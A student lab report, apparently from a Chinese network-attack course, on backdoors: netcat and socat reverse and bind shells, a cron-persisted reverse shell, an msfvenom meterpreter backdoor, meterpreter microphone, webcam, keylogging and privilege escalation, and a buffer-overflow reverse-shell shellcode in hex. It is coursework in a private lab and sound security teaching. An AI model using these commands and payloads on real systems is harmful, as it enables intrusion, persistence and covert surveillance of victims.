首页 > 技术文章 > 【网络对抗技术】20181234 Exp2 后门原理与实践

ZYX-bk-412 2021-03-26 15:23 原文

一、实验内容

(1)使用netcat获取主机操作Shell,cron启动 

(2)使用socat获取主机操作Shell, 任务计划启动 

(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、实验原理

1.后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。

2.后门的位置

  • 编译器留后门
  • 操作系统留后门
  • 应用程序中留后门(最常见)
  • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

3.攻击步骤:

  • 有一个拥有后门功能的攻击程序,包括 netcat系列、meterpreter、intersect和Windows Update等
  • 把后门程序放到目标系统中,可以通过U盘直接拷贝、钓鱼网站、攻击并绑定到正版软件中、发送邮件和暴力攻击等手段,把后门放进目标系统中
  • 让后门起作用,就要先把后门运行起来,对此可以设置开机自启动、定时启动任务、关联启动等方式,这些都可以让后门程序在目标系统中运行起来,这样可以在目标主机中执行后门权限中的所有操作
  • 让后门可持续性使用,需要免于被杀毒软件清除掉(恶意代码免杀技术)
  • 保证连接的稳定性以免被防火墙拦截(隧道技术、加密连接、反弹式连接)

三、常用的后门工具及操作

1 ncat

ncat命令全称是netcat,是一个底层工具,进行基本的TCP,UDP数据收发。常被与其他工具结合使用,起到后门的作用。

功能:

1. 监听本地端口
nc -l <PORT> //临时监听TCP端口一次
nc -lu <PORT> //临时监听UDP端口一次
nc -lk <PORT> //永久监听TCP端口
nc -lku <PORT> //永久监听UDP端口
2. 连接目标端口
3. 传送文件
4. Remote Administration with Netcat
5. 反弹shell
6. 测两台机器间的网速

1.1Windows获取kali的shell

  • 在Windows中查看本机IP地址为 192.168.43.224

  • 在Windows中找到ncat工具的安装路径。通过 cd Desktop\网络对抗\ncat 命令进入ncat文件夹,然后执行命令 ncat.exe -l -p 1234  打开监听 ,-l表示监听,-p用于指定端口 ,指定的是1234这个端口

发现失败报错了!

  • 通过查询得知,要关闭防火墙和杀毒软件------>关闭kali的防火墙

继续实验

  • 在windows上开启监听后,在kali中输入 ncat 192.168.43.224 1234 -e /bin/sh  ,这里填写的IP地址是Windows的。此时kali的角色就相当于客户端,向192.168.43.224(Windows主机的IP地址)的1234端口发起了连接请求, -e 用于执行shell,即当它连接成功时执行/bin/bash----调用命令行。这是一种反向连接,反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,Windows调用kali的命令行,即服务器使用的是由客户端提供的服务。

Windows成功获得了kali的shell!

  • 任意一方都可以结束连接,在kali命令行中按下ctrl+c,就可以断开连接。断开连接后,双方的命令行都会回归了初始的输入状态。如果偷偷建立起这样一条连接,那么服务器端就可以肆意入侵客户端的系统,还可以想办法提权以获取系统最高权限。

1.2在kali中获取Windows的命令行

在kali中用 ip addr 查询kali的IP地址为 192.168.81.129 

 

  • 在kali中输入 nc -l -p 1234 ,建立一台服务器用于监听1234端口。
  • 在Windows中输入 ncat.exe -e cmd.exe 192.168.81.129 1234 ,连接Windows的1234端口,同时示意在连接建立后开启cmd.exe。
  • 在Windows发出连接请求后,kali这边输入命令行后原本空荡荡的界面也出现了Windows命令行的提示符,并且路径也正是和Windows命令行的当前路径是一样的,都是在ncat文件夹下。
  • 此时我们可以进行一些命令的测试,使用windows下的cmd命令----- dir 和 ipconfig ,可以看到都成功运行了。

  • 在kali中输入 exit ,就退出了正在调用的Windows命令行,连接断开,Windows和kali双方的命令行都恢复原始状态。

1.3使用nc建立实时通信连接

  • Windows下监听1234端口------ncat.exe -l 1234 
  • kali反弹连接到Windows的1234端口------- nc 192.168.43.224 1234 
  • 开始相互传输数据

1.4windows向kali传输文件

  • 在kali侦听指定端口,然后将一个指定的文件发送出去,这个文件必须首先存在,命令为: nc -l -p 1234 > 1234.txt ,文件名没有加地址前缀,要求必须存放在当前目录下。
  • 在Windows向kali(IP地址和侦听的端口号)发送文件,命令是: ncat 192.168.81.129 1234 < 1234.txt 。

1.5kali向Windows发送文件

  • 在Windows上侦听指定端口1234,将收到的数据存储在一个指定的文件中,命令是 ncat -l -p 1234 > 1234.txt 。
  • 在kali中将文件发送到Windows上,地址是Windows的ncat服务器侦听端口,命令是 nc 192.168.43.224 1234 < 1234.txt 。

2 socat

  • socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。
  • socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
  • Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
  •  socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。

3 Meterpreter

  • 做后门平台就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 指令参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。
-b badchar是payload中需要去除的字符。
-f 生成文件的类型
> 输出到哪个文件
LHOST 是反弹回连的IP
LPORT 是回连的端口

四、实验内容

1 使用netcat获取主机操作Shell,cron启动 

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

 

  • 在Windows下监听1234端口

 

 

  • 在kali中,通 过crontab -e  指令便捷定时任务,然后选择第三个编辑器进入编辑,在 “Choose 1-3[1]:” 后输入3,选过之后下次输入就默认自动进入第三个编辑器。

 

  • 进入编辑界面后,按下i键,此时可以开始插入,此时在最下面一行添加这样内容: 5 * * * * /bin/netcat 192.168.43.224 1234 -e /bin/sh 。(星号代表运行时间,分别是 :分、时、日、月、年。星号代表任意值,都是星号的话也就是说,任意年,任意月,任意时,任意分,任意日,都执行后接的命令。)表示在每小时的5分钟都会连接到IP地址为 192.168.43.224 的主机的 1234 端口,让Windows调用kali的命令行,这正是一个典型的反弹连接。这条命令能够成功执行的前提是,Windows主机已经建立了一个侦听1234端口的ncat服务器。编辑完成后,按下Esc,紧接着直接输入 :wq ,然后回车,就可以保存退出了。

  • 等定时任务快开始时,就在Windows的命令行输入 ncat.exe -l -p 1234 ,监听1234端口,一旦收到连接请求就可以同意建立连接。当时间一到,kali的定时任务开始执行后,kali就会反弹连接Windows主机,而Windows主机正在监听,就可以建立连接。在每小时的第5分钟时输入kali指令ls,输出如下结果。一定要以虚拟机的时间为准进行实验!!!!!!!!

2 使用socat获取主机操作Shell, 任务计划启动

  • 打开本地计算机管理界面,选择创建任务。

 

  • 填写一个名称,建议先编辑操作在设置触发器,因为设置触发器默认会选择就近的时间,当编辑完操作后可能已经错过了触发器的设置时间

  • 点击操作,在 程序或脚本 中选择你的socat.exe文件的路径,在添加参数一栏填写  tcp-listen:1234 exec:cmd.exe,pty,stderr  ,这个命令的作用是把cmd.exe绑定到端口1234,同时把cmd.exe的stderr重定向到stdout上

  • 新建一个触发器,选择 按预定计划 

 

  • 创建完成后可以看到任务的状态为准备就绪

  • 开始运行后,Windows会弹出一个命令行窗口。此时在kali中输入 socat - tcp:192.168.43.2241234 ,通过socat方式连接Windows主机的tcp1234端口。

  • 双方通过socat成功建立起了连接,kali调用了Windows主机的Shell

3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中运行命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 -f exe > 20181234_backdoor.exe ,IP地址填kali的,该命令执行成功后,会生成一个后门可执行程序: 20181234_backdoor.exe ,文件名是自拟的,文件后缀是前面参数f设定好的。

  • 在Windows命令行中进入ncat目录下,执行命令 ncat.exe -lv 1234 > 20181234_backdoor.exe ,这样被控主机也就是Windows主机就进入了接收文件模式,通过 -lv 选项看到当前的连接状态
  • 在kali中执行命令 nc 192.168.43.224 1234 < 20181234_backdoor.exe ,IP地址填Windows主机的,将刚刚生成的文件从kali发送到Windows主机。

  • 在kali中输入 msfconsole ,进入MSF控制台。
  • 输入 use exploit/multi/handler 使用监听模块
  • 设置 set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload

  • set LHOST 192.168.81.129 (Kali的IP)

  • set LPORT 1234 ,同样要使用相同的端口

  • show options ,查看详细信息

  • 输入 exploit ,开始监听

  • 在Windows下运行后门程序 20181234_backdoor.exe ,运行前应提前关闭杀毒软件的防护

  • 此时在kali中已经获得了Windows的shell,输入 dir , 可以查看Windows中 20181234_backdoor.exe 所在目录下的文件信息

4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1获取音频

输入 record_mic ,获取Windows主机所处的物理环境下的一段声音。获取完成的音频会被存储在一个指定的路径,我们找到这个路径,果然发现了刚刚录的音频

4.2获取摄像头

输入 webcam_snap ,调用Windows端的摄像头拍个照然后存储在一个指定的路径。拍完之后照片会直接显示出来,还可以找到这个路径,把照片拖到Windows端的桌面上,在Windows上照样可以查看

(这里由于我电脑的问题无法打开摄像头,但是相机拍照和获取下来的结果是相同的,所以是获取成功的)

4.3获取击键记录

 keyscan_start 作用是打开键盘记录, keyscan_stop 是结束键盘记录, keyscan_dump 是导出键盘记录。

4.4获取截屏

输入 screenshot ,获取Windows端的实时屏幕截图,同时也有截图的存储路径。

4.5提权

输入 getuid ,出现当前用户信息;输入 getsystem ,就会出现成功获取系统权限的提示,后面还跟了一个获取的途径。

5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 设置堆栈可行并且关闭地址随机化
execstack -s pwn2
execstack -q pwn2
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

找到 getShell 函数的首地址

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
  • 打开两个命令行窗口,第一个窗口运行pwn2文件,输入 (cat input;cat) | ./pwn2 

  • 然后在第二个窗口,输入 ps -ef | grep pwn2 ,查看pwn2的进程号-----3328。然后在当前命令行中开启gdb工具。

attach 3328 
disassemble foo  //针对foo函数进行反汇编,可以看到ret的地址为0x080484ae
break *0x080484ae  //设置断点

  • 在第一个命令行终端按下一次回车键,然后回到第二个终端按下c键继续运行。

  • 在第二个终端输入 info r esp 查看栈顶指针所在的位置及其存放的数据。

由上图可知,esp寄存器放的是存0xffffd5b0,用 x/16x 0xffffd5b0 查看该地址的及其临近地址所存放内容。没找到0x04030201,用当前地址减去4个字节--0xffffd5b0-4=0xffffd5ac ,找到0x04030201,那返回地址的位置加上4就是了,所以shellcode的地址是  0xffffd5b0 。

  • 向刚才生成的input文件中覆盖修改后的Perl代码,地址 0xffffd5b0 在写入文件时遵循小端优先的原则,按 \xb0\xd5\xff\xff...... 的形式写入,每一个16进制数表示一个字节。
  • 打开第三个终端,使用 msfconsole 进入控制台,在第二个终端中执行 (cat input;cat) | ./pwn2 

第一个蓝色星号表示开始建立反弹连接,当 (cat input;cat) | ./pwn2 命令执行,并且2次回车后,才会出现第二个蓝色星号部分,表示连接会话session 1已经打开,后面附上了通信双方的IP+端口号以及连接建立的时间。

 五、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  1.  从第三方未知网站下载程序

  2. 使用未知来源的u盘

  3. 电脑存在漏洞,被攻击后留下后门

  4. 点击某些网站弹出的广告

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  1. Windows:添加至任务计划程序,开机自启动,修改注册表。

  2. Linux:使用crontab指令定时启动,脚本运行,注入后门程序。

(3)Meterpreter有哪些给你映像深刻的功能?

  1.  实验中做的获取音频,视频,截图还有击键记录,都很令人影响深刻,这些都是与生活息息相关的,一旦被人获取,将会有很大隐患

  2. 打开被控主机的shell。电脑如今与我们的工作学习密切相关,这样一来,很多重要的信息就有泄露的危险

(4)如何发现自己有系统有没有被安装后门?

  1. 使用杀毒软件检查
  2. 观察系统的自启动项和任务管理器,是否有未知的程序运行
  3. 检查端口是否被未知程序占用

六、实验总结与体会

这次实验的内容虽然比上次要少,但是要学习的原理和工具的使用要更加复杂。通过老师的视频学习和实验的指导,依然对实验存在许多疑问,后又查询了一些学长学姐的博客,按照上面更细的步骤走一遍后,才明白许多问题。比如使用cron指令,我一直按照老师的指导做,却一直不能成功,后来才发现我的虚拟机和主机的时间不一致,导致了这个问题。在做实验的过程中,看着以前那些常在电影中出现的获取他人信息的过程(简易版),真的觉得要好好加强自己保密意识,同时也不能对电脑这类的电子产品掉以轻心,虽然都安装了杀毒软件,但系统本身也依然有许多漏洞。更何况接下来的实验是免杀。经过这次实验,我对后门的危险性有了更深的认识,之后对于可能是电脑中后门程序的一些风险点也会尽力规避。

推荐阅读